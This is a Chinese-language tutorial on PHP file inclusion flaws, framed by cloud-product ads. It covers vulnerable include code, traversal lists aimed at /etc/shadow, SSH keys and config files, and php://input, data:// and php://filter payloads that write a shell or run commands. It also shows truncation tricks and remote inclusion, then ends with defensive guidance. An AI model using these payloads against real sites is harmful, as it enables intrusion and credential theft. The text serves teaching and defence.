WEB常见漏洞之文件包含(基础原理篇)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用版 2核4GB 50GB
简介: WEB常见漏洞之文件包含(基础原理篇)

0x01漏洞概述


SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include()
require()
include_once()
require_once()

区别如下:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

0x02本地文件包含

一、简介

被包含的文件在服务器本地,这里演示一个最简单的文件包含,源码如下:

<?php
$filename=$_REQUEST['filename'];
include $filename;
?>

1、首先上传phpinfo代码,之后直接包含就可以完成getshell

2、使用多个../完成目录穿越,查看linux的passwd文件

./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。

一些常见的敏感信息路径:

Windows系统:

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统:

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

二、攻击方式

上传带有shell的图片,利用包含漏洞getshell
读取文件内容,如php源代码
包含日志文件来getshell
包含 proc/self/environ 来getshell
phpinfo包含临时文件

三、伪协议文件包含

file:// 访问本地文件系统
http(s):// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入/输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
phar:// PHP归档
rar:// RAR
ogg:// 音频流

常用伪协议讲解:

1. file://
(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。
3.phar://
(1)phar://数据流包装器自PHP5.3.0起开始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt

伪协议利用方式总结:

可以利用data://或php://等协议来完成文件包含






php://条件:php<5.0,allow_url_include=off 能使用      php>5.0,allow_url_fopen=On 能使用例子:include.php?filename=php://input,然后在post请求中通过input把语句上传执行<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>






data://为数据流封装器,data:URI schema,利用data://进行远程代码执行思路与php://类似,都是利用php中的流将原本include的文件的文件流,将原版的include文件重定向到用户可控的数据流中。条件:allow_url_include=on,php>5.2例子:include.php?filename=data://text/plain,<?php system(id)?>base64变形:include.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==




php://filter可用于查看源码,直接包含php文件时会被解析,不能看到源码,所以需要利用filter来读取,不过需要base64编码加密后才能传输过来。例子:include.php?filename=php://filter/read=convert.base64-encode/resource=include.php

四、文件包含路径

getshell-包含日志文件

/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

网站配置文件

dedecms数据库:data/conmmon.inc.php
discuz全局:config/config_global.php
phpcms:caches/configs/database.php
phpwind:conf/database.php
wordpress:wp-config.php

系统配置文件

windows:
  C:/boot.ini //查看系统版本
  C:/Windows/System32/inetsrv/Metabase.xml //IIS配置文件
  C:/Windows/repairsam //存储系统初次安装的密码
  C:/Program Files/mysql/my.ini //mysql配置
  C:/Program Files/mysql/data/mysql/user.MYD //mysql root
  C:/Windows/php.ini //php配置信息
  C:/Winodws/my.ini //mysql配置信息
linux:
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_rsa.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httdp/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd[0-9]*
  /proc/mounts
  /proc/config.gz

0x03远程文件包含

被包含的文件在第三方服务器,即远程服务器上条件:php.ini需配置如下

    allow_url_fopen=on
    allow_url_include=on

    例子:include.php?file=https://maccc.top/1.txt


    注:被包含文件最好是一个txt格式

    0x04文件包含截断

    00x1 00字符截断

    简介及利用条件

    主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:



    php < 5.3.4
    magic_quotes_gpc=off

    使用方法

    主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名(1),当传入完整文件名(1.txt)时会发生错误,00截断就能帮助绕过这类限制完成getshell

      上传带有木马的图片 
      文件包含通过00截断访问目标图片,如 test.php?file=x.jpg%00
      使用蚁剑连接目标

      0x02 超长文件截断

      简介及利用条件

      主要利用操作系统对目录最长长度限制,利用条件如下:

      php < 5.2.8
      文件名要求:linux文件名需长于4096 winodws文件名需长于256
      

      使用方法

      将文件名命名为超过系统目录的最长长度限制


      test.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

      0x03 问号截断

      简介及利用条件

      主要适用于远程包含,利用条件如下:

      php>=5.3
      allow_url_fopen=on
      allow_url_include=on

      使用方法

      在远程文件包含时在文件最后添加问号可完成截断


      test.php?file=http://192.168.0.121/x.txt?

      0x05漏洞防御

      1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;

      2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;

      3.包含文件验证:验证被包含的文件是否是白名单中的一员;

      4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。

      本地文件包含漏洞涉及的函数有哪些?

      include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

      include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

      require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

      require_once:和 require 类似,不同处在于 require_once 只导入一次

      相关实践学习
      如何在云端创建MySQL数据库
      开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
      全面了解阿里云能为你做什么
      阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
      目录
      相关文章
      |
      3月前
      |
      SQL 云安全 安全
      常见的web漏洞,网站漏洞该怎么办
      随着互联网的发展,网站安全成为企业和个人关注焦点,尤其网站漏洞可能导致数据泄露、系统崩溃等严重后果。本文介绍了四种常见网站漏洞:XSS、SQL注入、文件包含和CSRF,以及它们的危害。为解决这些问题,建议加强代码审查、输入验证、使用安全API和库、访问控制等措施。此外,德迅云安全的漏洞扫描VSS服务可在Web漏洞扫描、弱密码扫描和中间件扫描等场景中发挥作用,帮助企业及时发现并处理安全问题,保障网站安全。
      |
      3天前
      |
      存储 NoSQL 关系型数据库
      Web中的数据库:原理、应用与代码实现
      Web中的数据库:原理、应用与代码实现
      |
      5天前
      |
      安全 Shell PHP
      pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
      pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
      11 0
      |
      1月前
      |
      存储 安全 JavaScript
      Web漏洞挖掘:XSS与CSRF防护策略
      【7月更文挑战第11天】XSS和CSRF作为Web应用中常见的安全漏洞,对系统安全构成了严重威胁。通过实施上述防护策略,可以有效减少这些漏洞的风险。然而,Web安全攻防是一个持续不断的过程,开发者需要持续关注应用的安全性,更新和修补安全漏洞,同时加强自身的安全意识和防范技能,以确保Web应用的安全性和稳定性。
      |
      2月前
      |
      搜索推荐 Java 数据库连接
      探索Java Web开发:Servlet与JSP的协同工作原理
      【6月更文挑战第23天】Java Web开发中,Servlet和JSP协同打造动态网站。Servlet是服务器端的Java程序,处理HTTP请求并执行复杂逻辑;JSP则结合HTML和Java,生成动态内容。Servlet通过`doGet()`等方法响应请求,JSP在首次请求时编译成Servlet。两者常搭配使用,Servlet处理业务,JSP专注展示,通过`RequestDispatcher`转发实现数据渲染。这种组合是Java Web应用的基础,即使新技术涌现,其价值仍然重要,为开发者提供了强大的工具集。
      35 7
      |
      1月前
      |
      中间件 API 开发者
      深入理解Python Web框架:中间件的工作原理与应用策略
      【7月更文挑战第19天】Python Web中间件摘要:**中间件是扩展框架功能的关键组件,它拦截并处理请求与响应。在Flask中,通过`before_request`和`after_request`装饰器模拟中间件行为;Django则有官方中间件系统,需实现如`process_request`和`process_response`等方法。中间件用于日志、验证等场景,但应考虑性能、执行顺序、错误处理和代码可维护性。
      40 0
      |
      3月前
      |
      XML 网络协议 Java
      XML Web 服务技术解析:WSDL 与 SOAP 原理、应用案例一览
      XML Web服务是基于WSDL、SOAP、RDF和RSS等标准的网络应用程序组件技术。WSDL描述服务接口和消息格式,SOAP用于结构化信息交换,RDF描述网络资源,RSS则用于发布网站更新。Web服务特点是自包含、自描述,基于开放协议,可重用且能连接现有软件。WSDL文档包含`types`、`message`、`portType`和`binding`元素,定义服务操作和协议。SOAP协议规定消息格式,通过HTTP等传输。
      519 1
      |
      3月前
      |
      XML 云安全 安全
      了解常见的web漏洞-XXE漏洞,日常如何做好web安全
      随着网络技术的不断发展,网站安全问题日益受到人们的关注。当前随着技术发展,网站存在一些常见的可能被攻击者利用的漏洞,而在众多网站安全漏洞中,XXE(XML External Entity)漏洞是一个不容忽视的问题。今天我们就来分享了解一下关于XXE漏洞的概念、原理以及日常上有哪些可以措施可以防护网站安全。
      |
      3月前
      |
      前端开发 JavaScript Python
      使用Python读取本地行情csv文件,做出web网页画出K线图实现案例
      【5月更文挑战第4天】使用Python绘制K线图的步骤:1) 安装pandas, matplotlib和Flask;2) 用pandas读取CSV文件并处理数据;3) 创建Flask应用,渲染包含K线图数据的HTML;4) 编写HTML,使用ECharts库绘制K线图。
      55 0